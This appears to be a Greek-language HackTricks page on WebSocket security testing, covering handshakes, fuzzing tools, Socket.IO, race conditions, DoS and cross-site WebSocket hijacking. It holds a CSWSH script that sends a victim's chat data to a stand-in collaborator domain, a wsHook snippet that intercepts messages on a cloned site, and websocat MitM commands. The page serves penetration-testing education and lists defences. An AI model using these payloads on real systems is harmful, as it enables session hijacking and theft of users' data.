WebSocket Επιθέσεις

Reading time: 15 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι τα WebSockets

Οι συνδέσεις WebSocket εγκαθίστανται μέσω μιας αρχικής HTTP χειραψίας και έχουν σχεδιαστεί να είναι μακροχρόνιες, επιτρέποντας αμφίδρομη ανταλλαγή μηνυμάτων οποιαδήποτε στιγμή χωρίς την ανάγκη για ένα transactional σύστημα. Αυτό καθιστά τα WebSockets ιδιαίτερα χρήσιμα για εφαρμογές που απαιτούν χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά ο διακομιστής, όπως ροές ζωντανών οικονομικών δεδομένων.

Εγκαθίδρυση Συνδέσεων WebSocket

A detailed explanation on establishing WebSocket connections can be accessed here. Σε συνοπτική μορφή, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript στην πλευρά του πελάτη όπως φαίνεται παρακάτω:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

Το πρωτόκολλο wss υποδηλώνει μια WebSocket σύνδεση ασφαλισμένη με TLS, ενώ το ws υποδεικνύει μια μη ασφαλή σύνδεση.

Κατά την εγκαθίδρυση της σύνδεσης, εκτελείται ένα handshake μεταξύ του browser και του server πάνω από HTTP. Η διαδικασία του handshake περιλαμβάνει το browser να στέλνει ένα request και το server να ανταποκρίνεται, όπως φαίνεται στα παρακάτω παραδείγματα:

Ο browser στέλνει ένα handshake request:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Απάντηση handshake του Server:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και προς τις δύο κατευθύνσεις μόλις εγκατασταθεί.

Κύρια σημεία του WebSocket handshake:

  • Οι κεφαλίδες Connection και Upgrade σηματοδοτούν την έναρξη του WebSocket handshake.
  • Η κεφαλίδα Sec-WebSocket-Version υποδεικνύει την επιθυμητή έκδοση του πρωτοκόλλου WebSocket, συνήθως 13.
  • Μια τυχαία τιμή κωδικοποιημένη σε Base64 αποστέλλεται στην κεφαλίδα Sec-WebSocket-Key, εξασφαλίζοντας ότι κάθε handshake είναι μοναδικό, κάτι που βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για authentication αλλά για να επιβεβαιώσει ότι η απάντηση δεν έχει δημιουργηθεί από έναν misconfigured server ή cache.
  • Η κεφαλίδα Sec-WebSocket-Accept στην απάντηση του server είναι ένα hash του Sec-WebSocket-Key, επαληθεύοντας την πρόθεση του server να ανοίξει μια WebSocket σύνδεση.

Αυτά τα χαρακτηριστικά διασφαλίζουν ότι η διαδικασία του handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποτελεσματική επικοινωνία σε πραγματικό χρόνο.

Κονσόλα Linux

Μπορείτε να χρησιμοποιήσετε websocat για να ανοίξετε μια ακατέργαστη σύνδεση με ένα websocket.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Ή για να δημιουργήσετε ένα websocat server:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket συνδέσεις

Εάν εντοπίσετε ότι clients είναι συνδεδεμένοι σε ένα HTTP websocket από το τρέχον τοπικό σας δίκτυο, μπορείτε να δοκιμάσετε ένα ARP Spoofing Attack για να πραγματοποιήσετε MitM επίθεση μεταξύ του client και του server.
Μόλις ο client προσπαθήσει να συνδεθεί σε εσάς, μπορείτε στη συνέχεια να χρησιμοποιήσετε:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Μπορείτε να χρησιμοποιήσετε το tool https://github.com/PalindromeLabs/STEWS για να ανακαλύψετε, fingerprint και να αναζητήσετε γνωστές ευπάθειες σε websockets αυτόματα.

Websocket Debug tools

  • Burp Suite υποστηρίζει MitM websockets communication με τρόπο πολύ παρόμοιο με αυτόν που το κάνει για την κανονική HTTP επικοινωνία.
  • Η socketsleuth Burp Suite extension θα σας επιτρέψει να διαχειριστείτε καλύτερα τις Websocket communications στο Burp αποκτώντας το history, ρυθμίζοντας interception rules, χρησιμοποιώντας κανόνες match and replace, και αξιοποιώντας Intruder και AutoRepeater.
  • WSSiP: Συντομογραφία για "WebSocket/Socket.io Proxy", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει διεπαφή χρήστη για να capture, intercept, send custom μηνύματα και να δείτε όλες τις WebSocket και Socket.IO communications μεταξύ client και server.
  • wsrepl είναι ένα interactive websocket REPL σχεδιασμένο ειδικά για penetration testing. Παρέχει διεπαφή για την παρατήρηση incoming websocket messages and sending new ones, με ένα εύχρηστο πλαίσιο για automating αυτή την επικοινωνία.
  • https://websocketking.com/ είναι ένα web to communicate με άλλους ιστότοπους χρησιμοποιώντας websockets.
  • https://hoppscotch.io/realtime/websocket μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει ένα web to communicate με άλλους ιστότοπους χρησιμοποιώντας websockets.

Decrypting Websocket

Websocket Lab

Στο Burp-Suite-Extender-Montoya-Course υπάρχει κώδικας για να ξεκινήσετε ένα web χρησιμοποιώντας websockets και σε this post μπορείτε να βρείτε μια εξήγηση.

Websocket Fuzzing

Η burp extension Backslash Powered Scanner πλέον επιτρέπει να fuzz και WebSocket μηνύματα. Μπορείτε να διαβάσετε περισσότερες πληροφορίες για αυτό here.

WebSocket Turbo Intruder (Burp extension)

Το WebSocket Turbo Intruder της PortSwigger φέρνει Turbo Intruder–style Python scripting και high‑rate fuzzing στα WebSockets. Εγκαταστήστε το από το BApp Store ή από το source. Περιλαμβάνει δύο συνιστώσες:

  • Turbo Intruder: high‑volume messaging σε ένα μόνο WS endpoint χρησιμοποιώντας custom engines.
  • HTTP Middleware: εκθέτει ένα τοπικό HTTP endpoint που προωθεί bodies ως WS messages πάνω από μια persistent σύνδεση, ώστε οποιοσδήποτε HTTP‑based scanner να μπορεί να probe τα WS backends.

Βασικό πρότυπο script για να fuzz ένα WS endpoint και να φιλτράρετε σχετικές απαντήσεις:

python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Use decorators like @MatchRegex(...) to reduce noise when a single message triggers multiple responses.

Γέφυρα WS πίσω από HTTP (HTTP Middleware)

Τυλίξτε μια επίμονη σύνδεση WS και προωθήστε τα σώματα HTTP ως μηνύματα WS για αυτοματοποιημένες δοκιμές με ανιχνευτές HTTP:

python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Στη συνέχεια στείλτε HTTP τοπικά· το σώμα προωθείται ως το WS μήνυμα:

http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Αυτό σας επιτρέπει να χειρίζεστε WS backends ενώ φιλτράρετε για «interesting» events (π.χ., SQLi errors, auth bypass, command injection behavior).

Socket.IO χειρισμός (handshake, heartbeats, events)

Socket.IO προσθέτει το δικό του framing πάνω από το WS. Εντοπίζεται μέσω της υποχρεωτικής query παραμέτρου EIO (π.χ., EIO=4). Κρατήστε τη συνεδρία ζωντανή με Ping (2) και Pong (3) και ξεκινήστε τη συνομιλία με "40", στη συνέχεια emit events όπως 42["message","hello"].

Intruder example:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Παραλλαγή HTTP adapter:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Εντοπισμός server‑side prototype pollution μέσω Socket.IO

Ακολουθώντας την ασφαλή τεχνική εντοπισμού του PortSwigger, δοκίμασε να μολύνεις τα εσωτερικά του Express στέλνοντας ένα payload όπως:

json
{"__proto__":{"initialPacket":"Polluted"}}

Αν τα greetings ή η συμπεριφορά αλλάξουν (π.χ. echo περιέχει "Polluted"), πιθανόν μολύνατε server-side prototypes. Η επίπτωση εξαρτάται από reachable sinks· συσχετίστε με τα gadgets στην ενότητα Node.js prototype pollution. Δείτε:

WebSocket race conditions with Turbo Intruder

Ο default engine ομαδοποιεί μηνύματα σε μία σύνδεση (πολύ καλό throughput, κακό για races). Χρησιμοποιήστε τον THREADED engine για να spawnάρετε πολλαπλές WS connections και να εκτοξεύσετε payloads παράλληλα ώστε να προκαλέσετε logic races (double‑spend, token reuse, state desync). Ξεκινήστε από το παράδειγμα script και ρυθμίστε την concurrency στο config().

  • Μάθετε τη μεθοδολογία και εναλλακτικές στο Race Condition (βλ. “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Κατασκευάστε WS frames των οποίων το header δηλώνει πολύ μεγάλο payload length αλλά μην στέλνετε body. Κάποιοι WS servers εμπιστεύονται το length και pre‑allocate buffers· το να το ορίσετε κοντά στο Integer.MAX_VALUE μπορεί να προκαλέσει Out‑Of‑Memory και remote unauth DoS. Δείτε το παράδειγμα script.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Ενεργοποιήστε τον WS Logger για να καταγράψετε και να συσχετίσετε μηνύματα χρησιμοποιώντας internal IDs.
  • Χρησιμοποιήστε τα inc*/dec* helpers στο Connection για να ρυθμίσετε το message ID handling σε πολύπλοκους adapters.
  • Decorators όπως @PingPong/@Pong και helpers όπως isInteresting() μειώνουν το θόρυβο και διατηρούν τις sessions ζωντανές.

Operational safety

Το high‑rate WS fuzzing μπορεί να ανοίξει πολλές συνδέσεις και να στείλει χιλιάδες μηνύματα ανά δευτερόλεπτο. Malformed frames και υψηλοί ρυθμοί μπορεί να προκαλέσουν πραγματικό DoS. Χρησιμοποιήστε μόνο όπου επιτρέπεται.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, γνωστό και ως cross-origin WebSocket hijacking, θεωρείται ειδική περίπτωση του Cross-Site Request Forgery (CSRF) που επηρεάζει τα WebSocket handshakes. Αυτή η ευπάθεια προκύπτει όταν τα WebSocket handshakes αυθεντικοποιούν αποκλειστικά μέσω HTTP cookies χωρίς CSRF tokens ή αντίστοιχα μέτρα ασφαλείας.

Οι επιτιθέμενοι μπορούν να το εκμεταλλευτούν φιλοξενώντας μια malicious web page που ξεκινάει μια cross-site WebSocket σύνδεση προς μια ευπαθή εφαρμογή. Κατά συνέπεια, αυτή η σύνδεση θεωρείται μέρος της session του θύματος με την εφαρμογή, εκμεταλλευόμενοι την έλλειψη CSRF protection στον μηχανισμό διαχείρισης session.

Για να λειτουργήσει αυτή η επίθεση, απαιτούνται τα εξής:

  • The websocket authentication must be cookie based
  • Το cookie πρέπει να είναι προσβάσιμο από τον attackers server (συνήθως αυτό σημαίνει SameSite=None) και να μην είναι ενεργοποιημένο το Firefox Total Cookie Protection στον Firefox και να μην υπάρχουν blocked third-party cookies στο Chrome.
  • Ο websocket server δεν πρέπει να ελέγχει το origin της σύνδεσης (ή αυτό πρέπει να είναι bypassable)

Επίσης:

  • Αν η authentication βασίζεται σε τοπική σύνδεση (σε localhost ή σε τοπικό δίκτυο) η επίθεση will be possible καθώς δεν υπάρχει τρέχουσα προστασία που να το απαγορεύει (check more info here)

Simple Attack

Σημειώστε ότι όταν καθιερώνεται μια σύνδεση websocket, το cookie αποστέλλεται στον server. Ο server μπορεί να το χρησιμοποιεί για να συσχετίσει κάθε συγκεκριμένο χρήστη με τη websocket session του βάσει του αποσταλμένου cookie.

Έτσι, αν για παράδειγμα ο websocket server στέλνει πίσω το history της συνομιλίας ενός χρήστη όταν λάβει ένα msg με "READY", τότε ένα απλό XSS που καθιερώνει τη σύνδεση (το cookie θα σταλεί αυτόματα για να εξουσιοδοτήσει τον χρήστη-θύμα) και στέλνει "READY" θα μπορέσει να ανακτήσει το history της συνομιλίας.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Σε αυτό το blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ ο επιτιθέμενος κατάφερε να εκτελέσει αυθαίρετο Javascript σε subdomain του domain όπου γινόταν η websocket επικοινωνία. Επειδή ήταν subdomain, το cookie αποστέλλονταν, και επειδή ο Websocket δεν έλεγχε σωστά το Origin, ήταν δυνατό να επικοινωνήσει μαζί του και να κλέψει tokens.

Κλοπή δεδομένων από τον χρήστη

Αντιγράψτε την web εφαρμογή που θέλετε να προσποιηθείτε (π.χ. τα .html αρχεία) και μέσα στο script όπου γίνεται η websocket επικοινωνία προσθέστε αυτόν τον κώδικα:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Κατεβάστε τώρα το αρχείο wsHook.js από https://github.com/skepticfx/wshook και αποθηκεύστε το μέσα στον φάκελο με τα web αρχεία.
Εκθέτοντας την web εφαρμογή και κάνοντας έναν χρήστη να συνδεθεί σε αυτή, θα μπορείτε να υποκλέψετε τα απεσταλμένα και ληφθέντα μηνύματα μέσω websocket:

javascript
sudo python3 -m http.server 80

CSWSH Μέτρα Προστασίας

Η επίθεση CSWSH βασίζεται στο γεγονός ότι ένας χρήστης θα συνδεθεί σε μια κακόβουλη σελίδα η οποία θα ανοίξει μια websocket σύνδεση σε μια σελίδα όπου ο χρήστης είναι ήδη συνδεδεμένος και θα πιστοποιηθεί ως αυτός, καθώς το αίτημα θα στείλει τα cookies του χρήστη.

Σήμερα, είναι πολύ εύκολο να προληφθεί αυτό το πρόβλημα:

  • Websocket server checking the origin: Ο websocket server θα πρέπει πάντα να ελέγχει από πού συνδέεται ένας χρήστης για να αποτρέψει απρόσμενες σελίδες από το να συνδεθούν σε αυτόν.
  • Authentication token: Αντί να βασίζεται η αυθεντικοποίηση σε cookie, η websocket σύνδεση μπορεί να βασίζεται σε ένα token που παράγεται από τον server για τον χρήστη και είναι άγνωστο στον attacker (όπως ένα anti-CSRF token).
  • SameSite Cookie attribute: Τα cookies με SameSite τιμή Lax ή Strict δεν θα σταλούν από μια εξωτερική σελίδα attacker στον server του θύματος, επομένως η αυθεντικοποίηση με cookie δεν θα είναι επιτυχής. Σημειώστε ότι το Chrome πλέον θέτει την τιμή Lax στα cookies που δεν έχουν καθορισμένη αυτή τη σημαία, καθιστώντας τα πιο ασφαλή εξ ορισμού. Ωστόσο, για τα πρώτα 2 λεπτά μετά τη δημιουργία ενός cookie θα έχει την τιμή None, κάνοντάς το ευάλωτο κατά τη διάρκεια αυτής της περιορισμένης περιόδου (επίσης αναμένεται ότι αυτό το μέτρο θα αφαιρεθεί κάποια στιγμή).
  • Firefox Total Cookie Protection: Το Total Cookie Protection λειτουργεί απομονώνοντας τα cookies στον ιστότοπο όπου δημιουργούνται. Ουσιαστικά κάθε site έχει το δικό του χώρο αποθήκευσης cookies για να αποτρέψει τρίτους από το να συνδέουν το ιστορικό περιήγησης ενός χρήστη. Αυτό καθιστά το CSWSH μη εφαρμόσιμο καθώς η σελίδα του attacker δεν θα έχει πρόσβαση στα cookies.
  • Chrome third-party cookies block: Αυτό μπορεί επίσης να αποτρέψει την αποστολή του cookie του αυθεντικοποιημένου χρήστη στον websocket server ακόμη και με SameSite=None.

Race Conditions

Οι Race Conditions σε WebSockets υπάρχουν επίσης, δείτε αυτές τις πληροφορίες για να μάθετε περισσότερα.

Άλλες ευπάθειες

Εφόσον τα Web Sockets είναι ένας μηχανισμός για να αποστέλλονται δεδομένα στην πλευρά του server και στην πλευρά του client, ανάλογα με το πώς ο server και ο client χειρίζονται τις πληροφορίες, τα Web Sockets μπορούν να χρησιμοποιηθούν για την εκμετάλλευση διάφορων άλλων ευπαθειών όπως XSS, SQLi ή οποιασδήποτε άλλης κοινής web ευπάθειας χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.

WebSocket Smuggling

Αυτή η ευπάθεια μπορεί να σας επιτρέψει να παρακάμψετε τους περιορισμούς των reverse proxies κάνοντάς τους να πιστέψουν ότι μια websocket communication was established (ακόμη κι αν δεν ισχύει). Αυτό θα μπορούσε να επιτρέψει σε έναν attacker να αποκτήσει πρόσβαση σε κρυφά endpoints. Για περισσότερες πληροφορίες δείτε την ακόλουθη σελίδα:

Upgrade Header Smuggling

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks